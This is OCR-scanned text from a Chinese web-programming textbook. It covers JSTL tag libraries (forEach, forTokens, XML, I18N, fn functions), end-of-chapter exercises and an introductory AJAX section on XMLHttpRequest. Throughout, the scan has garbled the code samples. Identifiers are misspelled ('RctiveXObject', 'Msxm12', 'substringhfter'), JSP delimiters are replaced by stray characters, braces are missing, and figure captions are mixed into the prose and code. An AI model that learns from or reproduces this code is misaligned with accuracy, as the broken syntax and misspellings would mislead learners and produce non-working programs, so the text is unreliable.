< 外 四 taglib prefix= "c" uri= "http://java. sun. com/jsp/jstl/core" %> 
<html> 
<body> 
<% 
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session. setAttribute("score", 5); 

%> 

<c:choose> 
<c:when test =" $ { score >= 60}"> 及 格 </c:when> 
< ci:when test ="${ score <60}"> 不 及 格 </c:when> 

</c:choose> 

</body> 
</html > 


该 例子 是 对 ifExample. jsp 的 改造 ,效果 相同 。 

3. <c:forEach > 

<c:forEach > 为 循环 控制 标签 ,功能 是 将 集合 (Collection) 中 的 成 员 按 顺序 浏览 一 遍 。 
在 实际 的 开发 应 用 中 ,其 使 用 频率 最 高 。 

其 基本 语法 如 下 。 


<c:forEach var = "元 素 名 ”items = "集合 名 " begin = "起 始 " end = "结束 " step = " 步 长 "> 
代码 段 
< /c:forEach> 


例如 : 


<c:forEach var = "student" items = " $ {students}"> 
$ {student} 
< /c:forEach> 


表示 将 students 集合 进行 遍历 ,每 个 元 素 取 名 为 student, 并 显示 出 来 。 
下 面 的 forEachExamplel. jsp 是 一 个 < c:forEach > 标签 的 应 用 实例 ,代码 如 下 。 


forEachExamplel. jsp 


<$% @ page language = "java" contentType = "text/html; charset = gb2312" 
import = "java. util. * "> 
<% @ taglib prefix= "c" uri= "http://java. sun. com/jsp/jstl/core" %> 
<html> 
<body> 
<% 
ArrayList al = new ArrayList(); 
al.add(" 张 华 "); 
al.add(" 黄 天 "); 
al.add(" 梁 海洋 "); 
session. setAttribute("students",al); 
%> 
<c:forEach items =" $ {students}" var = "student"> 
$ {student} 
</c:forEach> 
</body> 
</html > 


在 该 例子 中 实例 化 了 ArrayList 对 象 al ,向 al 中 加 入 3 个 学 生 姓名 , 放 入 session ,程序 
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中 利用 < c:forEach > 标签 把 al 中 的 内 容 遍 历 并 显示 出 来 ,运行 效果 如 图 11-7 所 示 。 
注意 : 此 处 对 集合 的 操作 是 个 广泛 的 概念 ,实际 上 数组 、 张 华 黄 天 染 海洋 
Set \Iterator 等 内 容 也 可 以 使 用 同样 的 方法 遍历 。 例 如 ,集合 
里 面 含有 JavaBean, 若 ArrayList 数组 中 包含 的 是 一 个 个 
Student, 然 后 放 在 session 中 ,遍历 方法 如 下 。 


图 11-7 forEachExamplel. jsp 
页 面 运 行 效果 


<c:forEach items =" $ {students}" var = "student"> 
$ {student. stuno}, $ {student. stuname} 
</c:forEach> 


下 面 以 HashMap 为 例 ,通过 forEachExample2. jsp 展示 HashMap 遍历 的 方法 。 


forEachExample2. jsp 


<%@ page language = "java" contentType = "text/html; charset = gb2312" 
import = "java. util. *" %> 
<%@ taglib prefix= "c" uri= "http://java. sun. com/jsp/jstl/core" %> 
<html> 
<body> 
<% 
HashMap hm = new HashMap( ); 
hm. put("name", "rose"); 
hm. put("age", "10"); 
session. setAttribute("hm", hm); 
%> 
<c:forEach items =" $ {hm}" var = "student"> 
$ {student. key}, $ {student. value}<br> 
</c:forEach> 


</body> 
</html > 
der il 在 该 例子 中 使 用 的 复杂 集合 是 HashMap, 程 序 的 功能 
name, rose 与 前 面 的 程序 相似 ,程序 运行 效果 如 图 11-8 所 示 。 
11-8 forEachExample2. jsp 4. <c:forTokens > 
页 面 运行 效果 <c:forTokens > 标签 用 来 浏览 字符 串 中 所 有 的 成 员 , 其 


成 员 是 由 定义 符号 (delimiters) 分 隔 的 。 其 基本 语法 如 下 。 


< ci:forTokens items = "字符 串 " delims = "分 隔 符 "var = " 子 串 名 " 
begin= "起 始 " end= "结束 " step = " 步 长 "> 
代码 段 


</c:forTokens > 


下 面 的 forTokensExample. jsp 是 < c:forTokens > 标签 的 应 用 实例 ,代码 如 下 。 


forTokensExample. jsp 


<% @ page language = "java" contentTYpe = "text/html; charset = gb2312" %> 
<%@ taglib prefix= "c" uri= "http://java. sun. com/jsp/jstl/core" %> 
<html> 
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<body> 
<% 
session. setAttribute("msg", "这 是 一 个 ##forTokens# 示例"); 
先 > 
< ci:forTokens items =" $ {msg}" delims = "#" var= "msg"> 
$ {msg }<br> 
</c:forTokens> 
</body> 
</html > 


在 页 面 中 把 定义 的 字符 串 “msg” 以 “# 井 ?为 分 隔 符 截 成 3 段 , 然 后 分 别 显示 出 来 。 程 序 
运行 效果 如 图 11-9 所 示 。 
这 是 一 个 
forTokens 


示例 
图 11-9 forTokensExample. jsp 页 面 运 行 效果 


11.6 XML 标签 库 简 介 


在 实际 开发 应 用 中 ,XML 格式 的 数据 已 成 为 信息 交换 的 优先 选择 。XML 标签 为 程序 
员 提 供 了 对 XML 文件 的 基本 操作 。 其 标签 一 共 分 为 三 大 类 , 详 见 表 11-8。 
表 11-8 XML 标签 库 
分 类 功能 分 类 标签 名 称 


parse 


基本 操作 (核心 ) out 


choose 
流程 控制 when 
otherwise 
forEach 


transform 


XML 


转换 


param 


这 些 标签 的 基本 功能 如 下 。 

(1) <x:parse>: 解析 XML 文件 。 

(2) < x:out>: 从 < x:parse > 解析 后 保存 的 变量 中 取得 指定 的 XML 文件 内 容 , 并 显示 
在 页 面 上 。 

(3) < x:set >: 将 某 个 XML 文件 中 元 素 的 实体 内 容 或 属性 保存 到 变量 中 。 

(4) <x: 计 >: 由 XPath 的 判断 函数 得 到 判断 结果 ,去 判断 是 否 显示 其 标签 所 包含 的 
内 容 。 

(5) < x:choose >\<x:when > 和 < x:otherwise>: 通常 会 放 在 一 起 使 用 ,功能 与 核心 标 
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签 库 中 的 相似 ,也 是 提供 if-else if 语句 的 功能 。 


(6) <x:forEach >: 对 XML 文件 元 素 的 循环 控制 。 


11.7 国际 化 标签 库 简介 


JSTL 中 的 118N 标签 库 又 称 国际 化 标签 库 。I18N 是 单词 Internationalization 的 缩写 。 
国际 化 标签 库 (I118N formatting) 的 功能 是 在 JSP 中 完成 国际 化 的 功能 。 其 标签 一 共 分 为 


3 类 , 详 见 表 11-9 。 


分 类 


表 11-9 I18N 标签 库 
功能 分 类 


标签 名 称 


II8N 


最 常见 的 标签 如 下 。 


区 域 设置 


setLocale 


消息 格式 化 


requestEncoding 


message 


param 


bundle 


setBundle 


数字 和 日 期 格式 化 


(1) < fmt:setLocale > 用 来 设置 Locale 环境 。 
(2) <fmt:bundle > 和 < fmt:setBundle > 用 于 对 资源 文件 的 绑 定 。 

(3) < fmt:message > 用 于 显示 信息 ,其 可 以 显示 资源 文件 中 定义 的 信息 。 

(4) < fmt:param > 位 于 < fmt:message > 标签 内 ,将 为 该 消息 标签 提供 参数 值 。 


(5) < fmt:requestEncoding > 为 请 求 设置 字符 编码 。 
(6) <fmt:timeZone > 和 < fmt:setTimeZone > 用 于 设 定时 区 。 


(7) <fmt:formatNumber > 用 于 对 数字 格式 化 。 


(8) < fmt:parseNumber > 用 了 


相反 。 


(9) < fmt:formatDate > 用 于 格式 化 日 期 。 
(10) < fmt:parseDate > 的 功能 与 < fmt:formatDate > 标签 相反 。 


11.8 数据 库 标签 库 简介 


timeZone 


setTimeZone 


formatNumber 


parseNumber 


formatDate 


parseDate 


F 解析 数字 ,其 功能 与 < fmt: formatrNumber > 标签 正好 


数据 库 标 签 库 可 以 为 程序 员 提 供 在 JSP 程序 中 与 数据 库 进 行 交互 的 功能 。 然 而 ,与 数 
据 库 交 互 的 工作 本 身 属 于 业务 逻辑 层 , 因 此 数据 库 标签 库 其 实 违 前 了 MVC 框架 。 
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在 数据 库 标签 库 中 包含 6 个 标签 ,它们 是 < sql: setDateSource >、< sql: query >、 
<sql:update>\<sql:transaction > < sql:param > 以 及 < sql:dateParam >。 由 于 它们 的 使 用 
较 少 ,在 此 不 做 介绍 ,读者 可 以 查询 相应 文档 。 


11.9 函数 标签 库 简介 


函数 标签 库 通常 被 用 于 EL 表达 式 语句 中 ,可 以 简化 运算 。 在 JSP 2.0 中 ,函数 标签 库 
为 EL 表达 式 语句 提供 了 更 多 的 功能 ,其 分 类 如 表 11-10 所 示 。 


表 11-10 ”函数 标签 库 


分 类 功能 分 类 标签 名 称 
集合 长 度 函 数 length 
contains 


containsIgnoreCase 


endsWith 


escapeXml 
indexOf 


join 


replace 


字符 串 操作 函数 split 


startsWith 


函数 标签 库 


substring 


substringAfter 


substringBefore 


toLowerCase 


toUpperCase 


trim 


下 面 介绍 函数 标签 库 的 基本 使 用 。 

1. < fn:length > 

<fn:length > 标签 的 作用 是 计算 传人 对 象 的 长 度 , 该 对 象 应 为 集合 类 型 或 者 String 类 
型 。 其 基本 语法 格式 如 下 。 


$ {fn:length( 对 象 ) } 


2. <fn:contains> 
<fn:contains > 标签 用 来 判断 源 字符 串 是 否 包 含 子 字 符 串 ,将 返回 boolean 类 型 的 结 
果 。 其 基本 语法 格式 如 下 。 


$ {fn:contains(" 源 字符 串 ", " 子 字 符 串 ") } 
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3. <fn: containslgnoreCase > 
<fn:containsIgnoreCase > 标签 的 功能 和 用 法 都 与 < fn:contains > 标签 相似 ,唯一 不 同 
的 是 其 对 于 字符 串 的 包含 比较 将 忽略 大 小 写 。 其 基本 语法 格式 如 下 。 


$ {fn:containsIgnoreCase(" 源 字符 串 "," 子 字符 串 ") } 


4. < fn:startsWith > 

<fn:startsWith > 标签 的 功能 是 判断 源 字 符 串 是 否 以 指定 字符 串 作 为 词 头 ,其 包含 两 个 
String 类 型 的 参数 ,前 者 是 源 字符 串 , 后 者 是 指定 的 词 头 字符 串 , 返 回 类 型 是 boolean 类 型 。 
其 基本 语法 格式 如 下 。 


$ {fn:startsNith(" 源 字符 串 "，" 指 定 字符 串 ") } 


5. <fn:endsWith > 
<fn:endsWith > 标签 的 功能 是 判断 源 字符 串 是 否 以 指定 字符 串 作为 词尾 ,其 语法 与 
<fn:startsWith > 标签 相似 ,也 会 返回 boolean 类 型 的 值 。 其 基本 语法 格式 如 下 。 


$ {fn:endsWith(" 源 字符 串 "，" 指 定 字符 串 ") } 


6. < fn :escapeXml > 
< fn:escapeXml > 标签 用 于 将 所 有 特殊 字符 转化 为 字符 实体 码 。 其 基本 语法 格式 如 下 。 


$ {fn:escapeXml( 特 殊 字 符 ) } 


7. <fn:indexOf > 
<fn:indexOf > 标签 的 功能 是 得 到 子 字符 串 与 源 字符 串 匹 配 的 起 始 位 置 , 若 匹 配 不 成 
功 ,该 标签 将 返回 条 1”, 和 否则 返回 起 始 的 位 置 。 其 基本 语法 格式 如 下 。 


$ {fn: index0f(" 源 字符 串 ", "指定 字符 串 ") } 


8. <fn:join> 
<fn:join > 标签 用 于 将 字符 串 数组 中 的 每 个 字符 串 加 上 分 隔 符 , 并 连接 起 来 ,所 以 将 返 
回 String 类 型 的 值 。 其 基本 请 法 格式 如 下 。 


$ {fn:join( 数 组 ，" 分 隔 符 ") } 


9. < fn:replace > 
<fn:replace > 标签 的 功能 是 为 源 字 符 串 做 替换 工作 。 其 基本 语法 格式 如 下 。 


$ {fn:replace(" 源 字符 串 "，" 被 蔡 换 字 串 "，" 蔡 换 字 串 ") } 


10. < fn :split > 
<fn:split > 标签 的 功能 是 将 一 组 由 分 隔 符 分 隔 的 字符 串 转 换 成 字符 串 数组 ,因此 返回 
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值 是 String 数组 。 其 基本 语法 格式 如 下 。 


$ {fn:split(" 源 字符 串 ", "分 隔 符 ") } 


11. < fn:substring > 
<fn:substring > 标签 用 于 截取 字符 串 。 其 基本 语法 格式 如 下 。 


$ {fn:substring(" 源 字符 串 ", 起 始 位 置 , 结束 位 置 ) } 


12. < fn :substringAfter > 
<fn:substringAfter > 标签 也 用 于 截取 字符 串 ,不 同 的 是 其 从 指定 子 字 符 串 一 直 截 取 到 
源 字符 串 的 末尾 。 其 基本 语法 格式 如 下 。 


$ {fn:substringhfter(" 源 字符 串 "," 子 字符 串 ") } 


13. < fn :substringBefore > 
<fn:substringBefore > 标签 也 用 于 截取 字符 串 ,截取 的 部 分 是 源 字 符 串 的 开始 到 指定 
子 字符 串 。 其 基本 语法 格式 如 下 。 


$ {fn:substringBefore(" 源 字符 串 "," 子 字符 串 ") } 


14. < fn:toLowerCase > 
<fn:toLowerCase > 标签 用 于 将 源 字符 串 中 的 字符 转换 成 小 写 ,返回 String 类 型 的 值 。 
其 基本 语法 格式 如 下 。 


$ {fn:toLowerCase(" 源 字符 串 ") } 


15. < fn:toUpperCase > 
<fn:toUpperCase > 标签 用 于 将 源 字符 串 中 的 字符 转换 成 大 写 ,返回 String 类 型 的 值 。 
其 基本 语法 格式 如 下 。 


$ {fn:toUpperCase(" 源 字符 串 ") } 


16. <fn:trim> 
<fn:trim > 标签 的 功能 是 除去 源 字符 串 开头 和 结尾 部 分 的 空格 ,返回 新 的 String 类 型 
的 字符 串 。 其 基本 语法 格式 如 下 。 


$ {fn:trim(" 源 字符 串 ") } 


11.10 本 章 小 结 


本 章 讲解 了 EL 在 JSP 中 常用 的 功能 ,包括 EL 中 的 基本 请 法 .EL 基本 运算 符 、EL 中 的 数 
据 访问 和 隐 含 对 象 ; 并 讲解 了 JSTL, 介 绍 其 标签 库 中 的 常用 标签 ,重点 讲解 了 核心 标签 库 。 
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11.11 课 后 习题 


一 、 填空 题 

1. EL 的 全 称 是 ,中 文 名 称 为 :通过 它 可 以 在 JSP 上 大 幅度 地 减少 
Java 代码 。 

2. EL 最 基本 的 语法 结构 为 , 它 提供 两 种 对 相应 数据 存 取 
的 运算 符 。 


3. 当 要 存 取 的 数据 名 称 中 包含 一 些 特殊 字符 ( 非 字 母 或 数字 符号 ) 时 需 使 用 
运算 符 。 

4. 若 在 JSP 中 的 不 同 作用 域 中 有 相同 名 称 的 对 象 , 且 EL 表达 式 省 略 了 相应 类 型 ,将 
按照 顺序 查找 相应 对 象 。 


5. 在 EL 中 用 来 获取 单个 参数 的 隐 含 对 象 为 

6. JSTL 的 中 文 名 称 为 , 它 是 标准 的 已 经 制定 好 的 标签 库 。 

7. 在 使 用 JSTL 前 必须 使 用 指令 ,其 作用 是 和 

8. 在 JSTL 的 核心 标签 库 中 ,功能 为 将 集合 中 的 成 员 顺 序 浏览 一 遍 的 标签 是 5 
9. JSTL 的 国际 化 标签 库 又 名 ,为 请 求 设置 字符 编码 的 标签 是 
10. 在 JSTL 的 函数 标签 库 中 ,< fn:split > 标签 的 功能 是 。 

-、 选 择 题 


1. 以 下 关于 EL 和 JSTL 的 说 法 错误 的 是 ( a 
A. EL 是 一 种 简洁 的 数据 访问 语言 
B. EL 表达 式 的 基本 形式 为 $ {var) 
C. JSTL 的 全 称 是 Java Server Pages Standard Tag Library 
D. JSTL 只 有 Core 核心 标签 库 
2. 下 面 不 是 EL 表达 式 的 特点 的 是 ( 和 
A. 访问 JavaBean 属性 B. 被 所 有 浏览 器 支持 
C. 访问 JSP 作用 域 D. 可 直接 进行 运算 
3. 下 面 有 关 EL 中 *.” 和 *“[]? 两 种 存 取 运 算 符 的 说 法 不 正确 的 是 ( a 
A. 两 者 在 某 些 情况 下 是 等 效 的 
“[ ”运算 符 主要 用 来 访问 数组 ,列表 或 其 他 集合 
如 果 要 动态 取 值 ,两 者 都 可 以 实现 
. 当 要 存 取 的 属性 名 称 中 包含 一 些 特殊 字符 时 ,例如 .或 ? 等 并 非 字母 或 数字 的 符 
号 ,就 一 定 要 使 用 “[]” 
4. 在 使 用 EL 关系 运算 符 判 断 两 个 变量 是 否 相等 时 应 使 用 ( ) 表 达 式 。 
A. $ {变量 1== 变 量 2} B. $1{ $ {变量 1}==$ {变量 2)} 
C. $ {变量 1}==$ {变量 2} D. ${ $ {变量 1}=$ {变量 2}} 


只 


pn 
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5. 在 以 下 这 段 代码 中 ,页 面 运行 后 出 现 的 语句 是 ( Da 


<% @ page contentTYpe = "text/html; charset = gb2312" %> 


<html > 
<body> 
<% 
application. setAttribute("Msg", "Welcome Application! "); 
page. setAttribute("Msg", "Welcome page!"); 
session. setAttribute("Msg", "Welcome Session!"); 
先 > 
$ {Msg }<br> 
</body> 
</html > 
A. Welcome Application! B. Welcome page! 
C. Welcome Session! D. Welcome! 
6.， EL 表达 式 在 对 隐 含 对 象 进行 查找 时 最 先 查找 的 是 ( 和 
A. session B. page C. application D. cookie 
7. 以 下 ( “) 标 签 用 来 解析 XML 文件 。 
A. <x:set> B. < x:otherwise > 
C. <x:parse> D. < x:transform > 


8. 在 下 面 的 代码 中 , 若 想 使 输出 结果 为 “好 好 学 习 ”, 应 该 填 入 ( 5 


<% 四 page language = "java" contentType = "text/html; charset = gb2312" %> 


"http://java. sun. com/jsp/jstl/core" %> 


%> 
</body> 
</html > 
A. <c:out value=" $ {msg}" escapeXml="false"></c:out >< br> 
B. <c:out value=" $ {msg}"></c:out >< br> 
C. <c:out value=" $ {msg}" escapeXml="true"></c:out ><br> 
D. 以 上 都 不 正确 
9. 如 果 要 使 用 JSTL 的 核心 标签 库 ,需要 在 JSP 源 文件 的 首部 加 入 如 下 ( ) 声 明 语 句 。 
A. <%@ taglib prefix="c" uri="http://java. sun. com/jsp/jstl/core" %> 
B. <%@ taglib prefix="x" uri="http://java. sun. com/jsp/jstl/xml" %> 
C. <%@ taglib prefix="fmt" uri="http://java. sun. com/jsp/jstl/fmt" %> 
D. <%@ taglib prefix="sql" uri="http://java. sun. com/jsp/jstl/sql” %> 
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三 、 上 机 习题 

1. 用 表达 式 语言 测试 并 显示 以 下 值 : 

(1) Cookie 中 的 某 个 值 ; 

(2) web. xml 中 的 某 个 参数 值 ; 

(3) page、request、session、application 中 的 某 个 值 。 

在 数据 库 中 建立 表 T_BOOK ,其 包含 图 书 ID .图书 名 称 、 图 书 价格 。 

2. 模糊 查询 图 书 , 在 图 书 的 显示 代码 中 使 用 JSTL。 

3. 在 上 题 中 增加 一 个 功能 : 如 果 图 书 的 价格 在 50 元 以 上 , 则 以 黄色 字体 显示 书 名 。 


AJAX 人 入门 


建议 学 时 : 2 

AJAX( 异 步 JavaScript 和 XML 技术) 是 Web 2.0 中 的 一 种 代表 技术 ,可 以 为 用 户 带 来 
较 好 的 体验 。 本 章 将 学 习 AJAX 的 基础 知识 ,首先 通过 一 些 实际 案例 学 习 AJAX 技术 的 必 
要 性 ,了 解 AJAX 技术 的 原理 , 接 下 来 学 习 AJAX 技术 的 基础 API 编程 。 


12.1 AJAX 概述 


12.1.1 为 什么 需要 AJAX 技术 


在 编写 AJAX 之 前 首先 思考 AJAX 的 作用 。 

例如 ,在 学 生 管理 系统 上 进行 登录 ,输入 账号 以 及 密码 ,提交 ,系统 能 够 根据 输入 的 账号 
和 密码 在 数据 库 中 进行 搜索 ,判断 是 否 登 录 成 功 。 

假设 在 login. jsp 中 输入 账号 和 密码 ,提交 给 LoginServlet,LoginServlet 调用 DAO 去 
访问 数据 库 ,根据 结果 返回 loginResult. jsp 给 客户 端 。 在 验证 过 程 中 ,客户 只 能 等 待 。 例 
如 ,login. jsp 界面 如 图 12-1 所 示 。 

单 击 “登录 ”按钮 ,如 果 服 务 器 端的 反应 足够 慢 , 客 户 看 到 的 界面 将 是 如 图 12-2 所 示 的 
效果 。 


欢迎 登录 学 生 管理 系统 . 

请 您 输入 账号 : 

请 您 输入 密码 : LL 
图 12-1 页 面 运行 效果 1 图 12-2 页面 运行 效果 2 


此 时 ,如 果 服 务 器 访问 频繁 ,或 者 正在 网 络 传输 ,客户 就 要 用 大 量 时 间 等 待 。 
现在 的 网 页 越 来 越 复杂 ,在 界面 上 不 可 能 只 有 一 个 登录 表单 ,如 图 12-3 所 示 的 网 页 结 
构 就 对 应 一 个 复杂 的 网 页 。 


横幅 


登录 表单 新 闻 发 布 广告 视频 


图 12-3 网 页 结构 
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这 种 情况 下 的 等 待 会 带 来 如 下 问题 。 

(1) 客户 等 待 时 界面 一 片 空 白 ,客户 浏览 效果 不 好 。 

(2) 在 一 般 情况 下 ,网 页 上 除了 有 登录 表单 之 外 还 会 有 其 他 内 容 , 例 如 新 闻 、 图 片 、 视 频 
等 ,用 户 失 去 了 访问 这 些 内 容 的 权利 。 

(3) 在 有 些 情况 下 ,登录 之 后 的 界面 和 登录 界面 只 有 少量 不 同 ,其 他 内 容 基 本 相同 ,这 
样 这 些 内 容 需要 重新 载 人 ,会 造成 额外 时 间 。 

于 是 提出 这 样 的 方案 : 能 否 在 登录 提交 时 浏览 器 界面 不 刷新 ,提交 改 为 在 后 台 异 步 进 
行 , 当 服务 器 端 验证 完毕 后 将 结果 在 界面 上 原来 登录 表单 所 在 的 位 置 显示 出 来 。 登 录 之 后 
的 效果 如 图 12-4 所 示 。 


横幅 


新 闻 发 布 广告 视频 


图 12-4 登录 成 功 后 的 页 面 
AJAX 技术 能 够 做 到 这 一 点 。 
12.1.2 AJAX 技术 介绍 


AJAX 实际 上 并 不 是 新 技术 ,而 是 几 个 旧 技 术 的 融合 。AJAX 包含 以 下 5 个 部 分 。 

(1) 异步 数据 获取 技术 : 使 用 XMLHttpRequest。 

(2) 基于 标准 的 表示 技术 : 使 用 XHTML 与 CSS。 

(3) 动态 显示 和 交互 技术 : 使 用 Document Object Model( 文 档 对 象 模 型 ) 。 

(4) 数据 互 换 和 操作 技术 : 使 用 XML 与 XSLT。 

(5) JavaScript: 将 以 上 技术 融合 在 一 起 。 

其 中 ,异步 数据 获取 技术 是 所 有 技术 的 基础 。 本 节 并 不 讲解 这 些 技术 本 身 ,而 是 以 简单 
的 案例 说 明 这 些 技 术 。 

假如 在 欢迎 页 面 上 有 一 个 按钮 , 单 击 该 按钮 能 够 显示 公司 信息 ,传统 方法 如 welcomel. jsp 
所 示 。 


welcomel. jsp 


<% @ page language = "java" import = "java. util. *" pageEncoding = "gb2312" %> 
<! DOCTYPE HTML PUBLIC " - //W3C//DTD HTML 4. 01 Transitional//EN"> 
<html> 
<body> 
< SCRIPT LANGUAGE = "JavaScript"> 
function showInfo( ){ 
window. location = "info. jsp"; 
} 
</SCRIPT> 
欢迎 来 到 本 系统 . < hr> 
< input type = "button" value= "显示 公司 信息 "onClick = "showInfo( )"> 
</body> 
</html > 
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运行 程序 ,效果 如 图 12-5 所 示 。 
公司 信息 在 另 一 个 网 页 内 ,代码 如 info. jsp 所 示 。 


info. jsp 


<% @ page language = "java” import = "java.util. x* " pageEncoding = "gb2312" %> 
地 址 : 北京 市 朝阳 门 外 <br> 
电话 :010 - 89765434 


单 击 * 显 示 公 司 信息 ?按钮 ,将 得 到 如 图 12-6 所 示 的 效果 。 


欢迎 来 到 本 系统 . ee 
: 北京 市 朝阳 门 
电话 ，010-89765434 
图 12-5 ” welcomel. jsp 页 面 运行 效果 图 12-6 info.jsp 页 面 运行 效果 


此 时 用 户 可 以 看 到 在 界面 上 进行 了 刷新 ,浏览 器 的 地 址 栏 也 发 生 了 改变 。 如 果 服 务 器 
的 反应 慢 ,用 户 将 会 面临 空白 界面 的 等 待 。 

下 面 使 用 AJAX 来 完成 该 功能 ,info. jsp 不 变 , 主 要 是 对 welcomel. jsp 进行 修改 。 首 
先 编写 一 段 短小 的 AJAX 代码 ,然后 进行 解释 。 注 意 , 用 户 一 定 要 保证 自己 的 浏览 器 是 IE 
(如 果 不 是 IE, 从 后 面 的 介绍 中 可 以 得 到 解决 办 法 ) 。 修 改 后 的 程序 如 welcome2. jsp 所 示 。 


welcome2. jsp 


< 外 @ page language = "java" import = "java. util. * " pageEncoding = "gb2312" %> 
<! DOCTYPE HTML PUBLIC " - //W3C//DTD HTML 4. 01 Transitional//EN"> 
<html> 
<body> 
< SCRIPT LANGUAGE = "JavaScript"> 
function showInfo( ){ 
Var xmlHttp = new ActiveXObject("Msxml2. XMLHTTP" ) ; 
xmlHttp. open( "GET", "info.jsp", true); 
xmlHttp. onreadystatechange = function() { 
if (xmlHttp. readyState == 4) { 
infoDiv. innerHTML = xmlHttp. responseText; 
} 
xmlHttp. send( ); 
} 
</SCRIPT> 
欢迎 来 到 本 系统 . < hr > 
< input type = "button" value = "显示 公司 信息 " onClick = "showInfo()"> 
<div id= "infoDiv"></div> 
</body> 
</html > 


运行 该 页 面 ,效果 如 图 12-7 所 示 。 
单 击 按钮 ,效果 如 图 12-8 所 示 。 
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欢迎 来 到 本 系统 . 
欢迎 来 到 本 系统 
et 
图 12-7 welcome2. jsp 页 面 运行 效果 图 12-8 单 击 “ 显 示 公 司 信息 ?按钮 时 的 效果 


注意 : 此 时 页 面 没 有 进行 刷新 ,浏览 器 的 地 址 栏 没有 任何 变化 。 就 是 说 ,如 果 服 务 器 反 
应 缓慢 也 无 关系 ,welcome2.jsp 没有 刷新 ,还 能 够 在 此 时 浏览 页 面 剩 余 的 部 分 ,不 至 于 在 空 
白 页 面 上 等 待 。 

以 上 welcome2.jsp 就 是 用 AJAX 实现 的 简单 功能 ,在 下 一 节 将 会 详细 介绍 其 技术 
要 点 。 


12.2 AJAX 开发 


12.2.1 AJAX 核心 代码 
从 welcome2. jsp 中 可 以 看 出 ,在 单 击 “显示 公司 信息 ”按钮 之 后 触发 了 JavaScript 的 
showInfo0O 函 数 ,在 该 函数 内 包含 了 下 列 AJAX 的 核心 代码 。 


< SCRIPT LANGUAGE = "JavaScript"> 
function showInfo(){ 


var xmlHttp = new RctiveXObject("Msxm12. XMLHTTP" ) ; // 步 骤 1 
xmlHttp. open( "GET", "info. jsp", true); // 步 又 2 
xmlHttp. onreadystatechange = function() { // 步 骤 3 

if (xmlHttp. readyState == 4) { // 步 又 4 


infoDiv. innerHTML = xmlHttp. responseText; 
} 
} 
xmlHttp. send( ); // 步 又 5 
</SCRIPT> 


根据 上 面 的 标注 可 以 发 现 ,实现 AJAX 的 程序 需要 5 个 步骤 ,下 一 节 将 对 这 5 个 步骤 进 
行 详细 介绍 。 


12.2.2 API 解释 


上 一 节 中 的 5 个 步骤 实际 上 包含 了 AJAX 的 核心 代码 。 
步骤 1: 在 IE 中 实例 化 Msxml2. XMLHTTP 对 象 。 


var xmlHttp = new RctiveXObject("Msxm12. XMLHTTP" ) 7 


Msxml2. XMLHTTP 是 I 浏览 器 中 内 置 的 对 象 ,该 对 象 具有 异步 提交 数据 和 获取 结 
果 的 功能 。 如 果 不 是 正 浏览 器 ,实例 化 方法 如 下 : 
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< SCRIPT LANGUAGE = "JavaScript"> 
var xmlHttp = new XMLHttpRequest( ); //Mozilla 等 浏览 器 
</SCRIPT> 


其 他 浏览 器 的 配置 可 以 查看 相应 文档 ,因为 不 同 浏览 器 有 相应 的 内 置 对 象 , 在 此 推荐 如 
下 编程 框架 。 


< SCRIPT LANGUAGE = "JavaScript"> 
var xmlHttp = false; 
function initAJAX(){ 
if(window. XMLHttpRequest){ //Mozilla 等 浏览 器 
xmlHttp = new XMLHttpRequest(); 
} 
else if(window. ActiveXObject){ // 王 浏览 器 


try{ 
xmlHttp = new ActiveXObject("Msxml2. XMLHTTP" ) ; 


}catch(e){ 


try{ 
xmlHttp = new ActiveXObject("Microsoft. XMLHTTP" ); 


}catch(e){ 
window.alert(" 该 浏览 器 不 支持 AJAX"); 


} 


} 
} 
</SCRIPT> 


当然 ,可 以 在 网 页 载 人 时 运行 该 函数 。 


<html> 
<body onLoad = " initAJAX ()"> 


</html > 


步骤 2: 指定 异步 提交 的 目标 和 提交 方式 ,调用 了 xmlHttp 的 open( 访 法 。 


xmlHttp. open( "GET", "info.jsp", true); 


该 方法 共有 3 个 参数 ,参数 1 表示 请 求 的 方式 ,一 般 有 GET 和 POST 两 种 选择 。 
参数 2 表示 请 求 的 目标 是 info. jsp, 当 然 也 可 以 在 此 处 给 info. jsp 一 些 参 数 , 例 如 写成 : 


xmlHttp. open( "GET", "info.jsp?account = 0001", true); 


表示 赋 给 info. jsp 名 为 account、 值 为 0001 的 参数 ,info. jsp 可 以 通过 request. getParameter 


(account" 访 法 获得 该 参数 的 值 。 
参数 3 最 重要 ,为 true 表示 异步 请 求 ,否则 表示 非 异步 请 求 。 异 步 请 求 可 以 通俗 地 理 
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解 为 后 台 提 交 ,在 此 种 情况 下 ,请求 在 后 人 台 执 行 。 这 里 以 前 面 的 welcome2. jsp 为 例 ,如 果 参 
数 3 取 true, 按 钮 被 点 下 去 之 后 马上 弹 起 ; 但 如 果 是 false, 按 钮 被 点 下 去 之 后 要 等 到 服务 器 
返回 信息 才能 弹 起 ,在 等 待 时 间 之 内 ,网 页 处 于 类 似 停滞 状态 。 

在 AJAX 情况 下 ,第 3 个 参数 选择 true 值 。 

注意 : 此 时 只 是 指定 异步 提交 的 目标 和 提交 方式 ,并 没有 进行 真正 的 提交 。 

步骤 3: 指定 当 xmlHttp 状态 改变 时 需要 进行 的 处 理 ,处 理 一 般 是 以 响应 函数 的 形式 


xmlHttp. onreadystatechange = function() { 
// 处 理 代码 
， 


该 代码 中 用 到 了 xmlHttp 的 onreadystatechange 事件 ,表示 xmlHttp 状态 改变 时 调用 处 理 
代码 。 此 种 方式 是 将 处 理 代码 直接 写 在 后 面 ,还 有 一 种 情况 ,就 是 将 处 理 代码 单独 写成 函数 。 


xmlHttp. onreadystatechange = handle; 


function handle( ){ 
// 处 理 代码 
. 


在 请 求 过 程 中 ,xmlHttp 的 状态 不 断 改变 , 其 状态 保存 在 xmlHttp 的 readyState 属性 
中 ,用 xmlHttp. readyState 表示 ,常见 的 readyState 属性 值 如 下 。 

。 0: 未 初始 化 状态 ,对 象 已 创建 ,尚未 调用 open()。 

。1: 已 初始 化 状态 ,调用 open0 方 法 以 后 。 

。 2: 发 送 数据 状态 ,调用 send0 方 法 以 后 。 

。 3: 数据 传送 中 状态 ,已 经 接收 到 部 分 数据 ,但 接收 尚未 完成 。 

。4: 完成 状态 ,数据 全 部 接收 完成 。 

每 次 状态 改变 都 会 调用 相应 处 理 函数 。 

下 面 用 例子 welcome3. jsp 来 说 明 该 性 质 。 


welcome3. jsp 


<% @ page language = "java" import = "java. util. * " pageEncoding = "gb2312" %> 
<! DOCTYPE HTML PUBLIC " — //W3C//DTD HTML 4. 01 Transitional//EN"> 
<html> 
<body> 
< SCRIPT LANGUAGE = "JavaScript"> 
Var xmlHttp = new RctiveXObject("Msxm12. XMLHTTP" ); 
